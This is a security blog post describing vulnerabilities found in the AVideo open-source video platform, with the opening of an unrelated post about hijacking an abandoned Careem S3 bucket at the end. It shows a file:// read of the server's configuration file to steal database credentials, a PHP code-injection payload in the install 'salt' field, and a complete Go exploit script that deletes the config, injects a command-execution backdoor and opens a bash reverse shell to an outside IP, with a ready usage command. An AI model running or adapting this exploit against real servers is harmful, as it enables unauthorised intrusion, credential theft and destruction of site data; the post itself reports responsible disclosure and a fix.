<p>We scanned the plugin folder to find interesting functions and found something in <code class="language-plaintext highlighter-rouge">/plugin/LiveLinks/proxy.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>

<span class="k">require_once</span> <span class="s1">'../../videos/configuration.php'</span><span class="p">;</span>
<span class="nb">session_write_close</span><span class="p">();</span>
<span class="k">try</span> <span class="p">{</span>
    <span class="nv">$global</span><span class="p">[</span><span class="s1">'mysqli'</span><span class="p">]</span><span class="o">-&gt;</span><span class="nf">close</span><span class="p">();</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">Exception</span> <span class="nv">$exc</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">//echo $exc-&gt;getTraceAsString();</span>
<span class="p">}</span>

<span class="cm">/*
* this file is to handle HTTP URLs into HTTPS
*/</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">filter_var</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">],</span> <span class="no">FILTER_VALIDATE_URL</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"Invalid Link"</span><span class="p">;</span>
    <span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Type: video/vnd.mpegurl"</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Disposition: attachment;filename=playlist.m3u"</span><span class="p">);</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nf">url_get_contents</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]);</span>
<span class="nv">$pathinfo</span> <span class="o">=</span> <span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]);</span> 
<span class="k">foreach</span> <span class="p">(</span><span class="nb">preg_split</span><span class="p">(</span><span class="s2">"/((</span><span class="se">\r</span><span class="s2">?</span><span class="se">\n</span><span class="s2">)|(</span><span class="se">\r\n</span><span class="s2">?))/"</span><span class="p">,</span> <span class="nv">$content</span><span class="p">)</span> <span class="k">as</span> <span class="nv">$line</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$line</span> <span class="o">=</span> <span class="nb">trim</span><span class="p">(</span><span class="nv">$line</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$line</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$line</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!==</span> <span class="s2">"#"</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">filter_var</span><span class="p">(</span><span class="nv">$line</span><span class="p">,</span> <span class="no">FILTER_VALIDATE_URL</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$pathinfo</span><span class="p">[</span><span class="s2">"extension"</span><span class="p">])){</span>
                <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="nv">$pathinfo</span><span class="p">[</span><span class="s2">"basename"</span><span class="p">],</span> <span class="s2">""</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]);</span>
            <span class="p">}</span>
            <span class="nv">$line</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]</span><span class="mf">.</span><span class="nv">$line</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">echo</span> <span class="nv">$line</span><span class="mf">.</span><span class="kc">PHP_EOL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The line below is vulnerable to File Inclusion:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$content</span> <span class="o">=</span> <span class="nf">url_get_contents</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">]);</span>
</code></pre></div></div>

<p>Moreover, there are no authentication checks, so anyone can exploit this issue by sending a GET request to the PHP file.</p>

<p>We must bypass the check in the following code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">filter_var</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'livelink'</span><span class="p">],</span> <span class="no">FILTER_VALIDATE_URL</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"Invalid Link"</span><span class="p">;</span>
    <span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We only need a valid URL with any URI scheme (file://, ftp://, php://, etc.). In this case, we can read the <code class="language-plaintext highlighter-rouge">configuration.php</code> file using the file URI scheme (file:///C:/xampp/htdocs/AVideo/videos/configuration.php).</p>

<p><a href="/images/av-4.png"><img src="/images/av-4.png" alt="" /></a></p>

<p>We have the database credentials now :)</p>

<h3 id="remote-code-execution">Remote Code Execution</h3>

<p>We can achieve RCE using plugin upload. If the permissions are limited for the plugin folder, we found another way to execute PHP code using the install folder. In <code class="language-plaintext highlighter-rouge">/install/checkConfiguration.php</code>, there is a way to inject PHP code into the <code class="language-plaintext highlighter-rouge">configuration.php</code> file.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'salt'</span><span class="p">])){</span>
    <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'salt'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">uniqid</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="s2">"&lt;?php
</span><span class="se">\$</span><span class="s2">global['configurationVersion'] = 2;
</span><span class="se">\$</span><span class="s2">global['disableAdvancedConfigurations'] = 0;
</span><span class="se">\$</span><span class="s2">global['videoStorageLimitMinutes'] = 0;
if(!empty(</span><span class="se">\$</span><span class="s2">_SERVER['SERVER_NAME']) &amp;&amp; </span><span class="se">\$</span><span class="s2">_SERVER['SERVER_NAME']!=='localhost' &amp;&amp; !filter_var(</span><span class="se">\$</span><span class="s2">_SERVER['SERVER_NAME'], FILTER_VALIDATE_IP)) { 
    // get the subdirectory, if exists
    </span><span class="se">\$</span><span class="s2">subDir = str_replace(array(</span><span class="se">\$</span><span class="s2">_SERVER[</span><span class="se">\"</span><span class="s2">DOCUMENT_ROOT</span><span class="se">\"</span><span class="s2">], 'videos/configuration.php'), array('',''), __FILE__);
    </span><span class="se">\$</span><span class="s2">global['webSiteRootURL'] = </span><span class="se">\"</span><span class="s2">http</span><span class="se">\"</span><span class="s2">.(!empty(</span><span class="se">\$</span><span class="s2">_SERVER['HTTPS'])?</span><span class="se">\"</span><span class="s2">s</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"\"</span><span class="s2">).</span><span class="se">\"</span><span class="s2">://</span><span class="se">\"</span><span class="s2">.</span><span class="se">\$</span><span class="s2">_SERVER['SERVER_NAME'].</span><span class="se">\$</span><span class="s2">subDir;
}else{
    </span><span class="se">\$</span><span class="s2">global['webSiteRootURL'] = '</span><span class="si">{</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'webSiteRootURL'</span><span class="p">]</span><span class="si">}</span><span class="s2">';
}
</span><span class="se">\$</span><span class="s2">global['systemRootPath'] = '</span><span class="si">{</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'systemRootPath'</span><span class="p">]</span><span class="si">}</span><span class="s2">';
</span><span class="se">\$</span><span class="s2">global['salt'] = '</span><span class="si">{</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'salt'</span><span class="p">]</span><span class="si">}</span><span class="s2">'; // RCE at this line 
</span><span class="se">\$</span><span class="s2">global['disableTimeFix'] = 0;
</span><span class="se">\$</span><span class="s2">global['enableDDOSprotection'] = 1;
</span><span class="se">\$</span><span class="s2">global['ddosMaxConnections'] = 40;
</span></code></pre></div></div>

<p>We just need to pass <code class="language-plaintext highlighter-rouge">$_POST['salt']</code> as: <code class="language-plaintext highlighter-rouge">123'; exec($_GET["x"]);//</code></p>

<p>Then visit <code class="language-plaintext highlighter-rouge">http://127.0.0.1/avideo/videos/configuration.php?x=[OS_COMMAND_HERE]</code></p>

<p>Now, we can execute system commands on the server!</p>

<h3 id="exploit">Exploit</h3>

<p>Now it’s time to combine all of these findings to gain a shell on the vulnerable system. First, you must turn off <code class="language-plaintext highlighter-rouge">doNotShowImportMP4Button</code> for the exploit to work.</p>

<p>You can find the exploit on GitHub here or copy it from below:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
    <span class="s">"encoding/json"</span>
    <span class="s">"io/ioutil"</span>
    <span class="s">"net/http"</span>
    <span class="s">"net/url"</span>
    <span class="s">"os"</span>
    <span class="s">"strings"</span>

    <span class="s">"github.com/fatih/color"</span>
<span class="p">)</span>

<span class="k">type</span> <span class="n">credential</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="n">mysqlHost</span> <span class="kt">string</span>
    <span class="n">mysqlUser</span> <span class="kt">string</span>
    <span class="n">mysqlPass</span> <span class="kt">string</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">advancedCustom</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="n">DoNotShowImportMP4Button</span> <span class="kt">bool</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">cookie</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="n">name</span>  <span class="kt">string</span>
    <span class="n">value</span> <span class="kt">string</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">checkRequirments</span><span class="p">(</span><span class="n">link</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">bool</span> <span class="p">{</span>
    <span class="k">var</span> <span class="n">setting</span> <span class="n">advancedCustom</span>
    <span class="n">rs</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">link</span> <span class="o">+</span> <span class="s">"plugin/CustomizeAdvanced/advancedCustom.json.php"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] Unable to check requirements"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="k">defer</span> <span class="n">rs</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
    <span class="n">jsonRes</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">ioutil</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">rs</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">json</span><span class="o">.</span><span class="n">Unmarshal</span><span class="p">(</span><span class="n">jsonRes</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">setting</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">setting</span><span class="o">.</span><span class="n">DoNotShowImportMP4Button</span> <span class="p">{</span>
            <span class="k">return</span> <span class="no">false</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="k">return</span> <span class="no">true</span>
        <span class="p">}</span>

    <span class="p">}</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">login2cookie</span><span class="p">(</span><span class="n">link</span> <span class="kt">string</span><span class="p">,</span> <span class="n">user</span> <span class="kt">string</span><span class="p">,</span> <span class="n">password</span> <span class="kt">string</span><span class="p">)</span> <span class="n">cookie</span> <span class="p">{</span>

    <span class="k">var</span> <span class="n">c</span> <span class="n">cookie</span>
    <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">PostForm</span><span class="p">(</span><span class="n">link</span><span class="o">+</span><span class="s">"objects/login.json.php"</span><span class="p">,</span>
        <span class="n">url</span><span class="o">.</span><span class="n">Values</span><span class="p">{</span><span class="s">"user"</span><span class="o">:</span> <span class="p">{</span><span class="n">user</span><span class="p">},</span> <span class="s">"pass"</span><span class="o">:</span> <span class="p">{</span><span class="n">password</span><span class="p">},</span> <span class="s">"rememberme"</span><span class="o">:</span> <span class="p">{</span><span class="s">"false"</span><span class="p">}})</span>

    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] Unable to login"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="k">defer</span> <span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
    <span class="n">body</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">ioutil</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
    <span class="n">stringBody</span> <span class="o">:=</span> <span class="kt">string</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>
    <span class="n">user</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">stringBody</span><span class="p">,</span> <span class="s">"</span><span class="se">\"</span><span class="s">user</span><span class="se">\"</span><span class="s">:"</span><span class="p">)[</span><span class="m">1</span><span class="p">],</span> <span class="s">","</span><span class="p">)[</span><span class="m">0</span><span class="p">]</span>

    <span class="k">if</span> <span class="n">user</span> <span class="o">==</span> <span class="s">"false"</span> <span class="p">{</span>

        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] Unable to login (wrong username/password)"</span><span class="p">)</span>
        <span class="n">os</span><span class="o">.</span><span class="n">Exit</span><span class="p">(</span><span class="m">1</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">cookie</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">resp</span><span class="o">.</span><span class="n">Cookies</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">if</span> <span class="n">cookie</span><span class="o">.</span><span class="n">Name</span> <span class="o">!=</span> <span class="s">"user"</span> <span class="o">&amp;&amp;</span> <span class="n">cookie</span><span class="o">.</span><span class="n">Name</span> <span class="o">!=</span> <span class="s">"pass"</span> <span class="o">&amp;&amp;</span> <span class="n">cookie</span><span class="o">.</span><span class="n">Name</span> <span class="o">!=</span> <span class="s">"rememberme"</span> <span class="p">{</span>
            <span class="n">c</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">cookie</span><span class="o">.</span><span class="n">Name</span>
            <span class="n">c</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">cookie</span><span class="o">.</span><span class="n">Value</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">color</span><span class="o">.</span><span class="n">Green</span><span class="p">(</span><span class="s">"[x] Logged in successfully!"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">c</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">readConfig</span><span class="p">(</span><span class="n">link</span> <span class="kt">string</span><span class="p">)</span> <span class="n">credential</span> <span class="p">{</span>

    <span class="k">var</span> <span class="n">cred</span> <span class="n">credential</span>
    <span class="c">// File path is set to ubuntu change it based on the server os and filename</span>
    <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">link</span> <span class="o">+</span> <span class="s">"plugin/LiveLinks/proxy.php?livelink=file:///C:/xampp/htdocs/AVideo/videos/configuration.php"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[X] Unable to read config file"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="k">defer</span> <span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
    <span class="n">body</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">ioutil</span><span class="o">.</span><span class="n">ReadAll</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">Body</span><span class="p">)</span>
    <span class="n">stringBody</span> <span class="o">:=</span> <span class="kt">string</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>
    <span class="n">cred</span><span class="o">.</span><span class="n">mysqlHost</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">stringBody</span><span class="p">,</span> <span class="s">"$mysqlHost = '"</span><span class="p">)[</span><span class="m">1</span><span class="p">],</span> <span class="s">"'"</span><span class="p">)[</span><span class="m">0</span><span class="p">]</span>
    <span class="n">cred</span><span class="o">.</span><span class="n">mysqlUser</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">stringBody</span><span class="p">,</span> <span class="s">"$mysqlUser = '"</span><span class="p">)[</span><span class="m">1</span><span class="p">],</span> <span class="s">"'"</span><span class="p">)[</span><span class="m">0</span><span class="p">]</span>
    <span class="n">cred</span><span class="o">.</span><span class="n">mysqlPass</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">stringBody</span><span class="p">,</span> <span class="s">"$mysqlPass = '"</span><span class="p">)[</span><span class="m">1</span><span class="p">],</span> <span class="s">"'"</span><span class="p">)[</span><span class="m">0</span><span class="p">]</span>

    <span class="n">color</span><span class="o">.</span><span class="n">Green</span><span class="p">(</span><span class="s">"[X] Config file has been read!"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">cred</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">deleteConfig</span><span class="p">(</span><span class="n">link</span> <span class="kt">string</span><span class="p">,</span> <span class="n">c</span> <span class="n">cookie</span><span class="p">)</span> <span class="p">{</span>

    <span class="n">client</span> <span class="o">:=</span> <span class="o">&amp;</span><span class="n">http</span><span class="o">.</span><span class="n">Client</span><span class="p">{}</span>
    <span class="n">PostData</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">NewReader</span><span class="p">(</span><span class="s">"delete=1&amp;fileURI=../videos/configuration.php"</span><span class="p">)</span>

    <span class="n">req</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">NewRequest</span><span class="p">(</span><span class="s">"POST"</span><span class="p">,</span> <span class="n">link</span><span class="o">+</span><span class="s">"objects/import.json.php"</span><span class="p">,</span> <span class="n">PostData</span><span class="p">)</span>

    <span class="c">// Set cookie</span>
    <span class="n">req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Set</span><span class="p">(</span><span class="s">"Cookie"</span><span class="p">,</span> <span class="n">c</span><span class="o">.</span><span class="n">name</span><span class="o">+</span><span class="s">"="</span><span class="o">+</span><span class="n">c</span><span class="o">.</span><span class="n">value</span><span class="p">)</span>

    <span class="n">req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Set</span><span class="p">(</span><span class="s">"Content-Type"</span><span class="p">,</span> <span class="s">"application/x-www-form-urlencoded"</span><span class="p">)</span>

    <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">Do</span><span class="p">(</span><span class="n">req</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] Unable to delete config file!"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="n">color</span><span class="o">.</span><span class="n">Green</span><span class="p">(</span><span class="s">"[x] Config file has been deleted!"</span><span class="p">)</span>

<span class="p">}</span>

<span class="k">func</span> <span class="n">injectCode</span><span class="p">(</span><span class="n">link</span> <span class="kt">string</span><span class="p">,</span> <span class="n">cred</span> <span class="n">credential</span><span class="p">)</span> <span class="p">{</span>

    <span class="n">rceCode</span> <span class="o">:=</span> <span class="s">"x';echo exec($_GET[</span><span class="se">\"</span><span class="s">x</span><span class="se">\"</span><span class="s">]); ?&gt;"</span> <span class="c">// PHP code that will be injected in the configuration file</span>

    <span class="n">client</span> <span class="o">:=</span> <span class="o">&amp;</span><span class="n">http</span><span class="o">.</span><span class="n">Client</span><span class="p">{}</span>

    <span class="c">// Change systemRootPath based on the OS</span>
    <span class="n">PostData</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">NewReader</span><span class="p">(</span><span class="s">`webSiteRootURL=`</span> <span class="o">+</span> <span class="n">link</span> <span class="o">+</span> <span class="s">`&amp;systemRootPath=/var/www/html/avideo/&amp;webSiteTitle=AVideo&amp;databaseHost=`</span> <span class="o">+</span> <span class="n">cred</span><span class="o">.</span><span class="n">mysqlHost</span> <span class="o">+</span> <span class="s">`&amp;databasePort=3306&amp;databaseUser=`</span> <span class="o">+</span> <span class="n">cred</span><span class="o">.</span><span class="n">mysqlUser</span> <span class="o">+</span> <span class="s">`&amp;databasePass=`</span> <span class="o">+</span> <span class="n">cred</span><span class="o">.</span><span class="n">mysqlPass</span> <span class="o">+</span> <span class="s">`&amp;databaseName=aVideo212&amp;mainLanguage=en&amp;systemAdminPass=123456&amp;contactEmail=tes@test.com&amp;createTables=2&amp;salt=`</span> <span class="o">+</span> <span class="n">rceCode</span><span class="p">)</span>

    <span class="n">req</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">NewRequest</span><span class="p">(</span><span class="s">"POST"</span><span class="p">,</span> <span class="n">link</span><span class="o">+</span><span class="s">"install/checkConfiguration.php"</span><span class="p">,</span> <span class="n">PostData</span><span class="p">)</span>
    <span class="n">req</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Set</span><span class="p">(</span><span class="s">"Content-Type"</span><span class="p">,</span> <span class="s">"application/x-www-form-urlencoded"</span><span class="p">)</span>

    <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">Do</span><span class="p">(</span><span class="n">req</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] Unable to inject code!"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="n">color</span><span class="o">.</span><span class="n">Green</span><span class="p">(</span><span class="s">"[x] Code has been injected into the config file!"</span><span class="p">)</span>

    <span class="c">// Initiate the reverse shell (reverse shell)</span>

    <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">link</span> <span class="o">+</span> <span class="s">"videos/configuration.php?x=%2Fbin%2Fbash -c 'bash -i &gt; %2Fdev%2Ftcp%2F192.168.153.138%2F8080 0&gt;%261'%0A"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[X] Unable to send request!"</span><span class="p">)</span>
        <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="n">color</span><span class="o">.</span><span class="n">Green</span><span class="p">(</span><span class="s">"[x] Check your nc ;)"</span><span class="p">)</span>

<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">var</span> <span class="n">reqCookie</span> <span class="n">cookie</span>
    <span class="k">var</span> <span class="n">dbCredential</span> <span class="n">credential</span>

    <span class="n">args</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">Args</span><span class="p">[</span><span class="m">1</span><span class="o">:</span><span class="p">]</span>

    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">)</span> <span class="o">&lt;</span> <span class="m">3</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"Missing arguments"</span><span class="p">)</span>
        <span class="n">os</span><span class="o">.</span><span class="n">Exit</span><span class="p">(</span><span class="m">1</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="n">url</span> <span class="o">:=</span> <span class="n">args</span><span class="p">[</span><span class="m">0</span><span class="p">]</span> <span class="c">// link</span>
    <span class="n">u</span> <span class="o">:=</span> <span class="n">args</span><span class="p">[</span><span class="m">1</span><span class="p">]</span>   <span class="c">// username</span>
    <span class="n">p</span> <span class="o">:=</span> <span class="n">args</span><span class="p">[</span><span class="m">2</span><span class="p">]</span>   <span class="c">// password</span>

    <span class="c">// Check doNotShowImportMP4Button status</span>
    <span class="k">if</span> <span class="o">!</span><span class="n">checkRequirments</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">color</span><span class="o">.</span><span class="n">Red</span><span class="p">(</span><span class="s">"[x] doNotShowImportMP4Button is not disabled! exploit won't work :( if you are admin disable it from advancedCustom plugin"</span><span class="p">)</span>
        <span class="n">os</span><span class="o">.</span><span class="n">Exit</span><span class="p">(</span><span class="m">1</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="c">// Get database credentials</span>
    <span class="n">dbCredential</span> <span class="o">=</span> <span class="n">readConfig</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>

    <span class="c">// Get user cookie</span>
    <span class="n">reqCookie</span> <span class="o">=</span> <span class="n">login2cookie</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">u</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>

    <span class="c">// Delete config</span>
    <span class="n">deleteConfig</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">reqCookie</span><span class="p">)</span>

    <span class="c">// Inject PHP code</span>
    <span class="n">injectCode</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">dbCredential</span><span class="p">)</span>

<span class="p">}</span>
</code></pre></div></div>

<h3 id="usage">Usage</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>go run AVideo3xploit.go http://[target]/avideo/ username password
</code></pre></div></div>

<p>Tested on Ubuntu latest version, result:</p>

<p><a href="/images/av-5.png"><img src="/images/av-5.png" alt="" /></a></p>

<h3 id="new-project-idea">New Project Idea</h3>

<p>We will publish the static analyzer that we created during the pentest here.</p>

<h2 id="what-now">What Now?</h2>

<p>If you think your site/app/network is secure and want to ensure it, give us a call at <a href="contact@cube01.io">contact@cube01.io</a>.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[In this article, we will cover security issues in the AVideo open-source project that led to RCE. We contacted the project manager, and the security issues were fixed.]]></summary></entry><entry><title type="html">Hijacking an Abandoned Careem S3 Bucket</title><link href="https://alsultani.me/2020/06/01/hijacking-an-abandoned-careem-s3-bucket.html" rel="alternate" type="text/html" title="Hijacking an Abandoned Careem S3 Bucket" /><published>2020-06-01T12:00:00+00:00</published><updated>2020-06-01T12:00:00+00:00</updated><id>https://alsultani.me/2020/06/01/hijacking-an-abandoned-careem-s3-bucket</id><content type="html" xml:base="https://alsultani.me/2020/06/01/hijacking-an-abandoned-careem-s3-bucket.html"><![CDATA[<p>This story took place last year, and I thought it would make a great case study on leveraging broken links. Additionally, it includes a funny anecdote that highlights how I find security issues wherever I go.</p>

<h2 id="introduction">Introduction</h2>

<p>Last year, I traveled to Dubai to explore the city and meet some good friends: Yasser, Ahmed, and Ayoub.</p>

<p>I am a loyal Careem user and rely on it whenever I travel, including in Iraq. When it was time to return home, I ordered a taxi through the Careem app. I waited as the driver approached my hotel. I grabbed my bag and stood on the sidewalk, hoping he would spot me since it was early morning and the streets were empty. He saw me but didn’t move. I waved at him, but he drove off and canceled the ride, marking that I hadn’t shown up.</p>

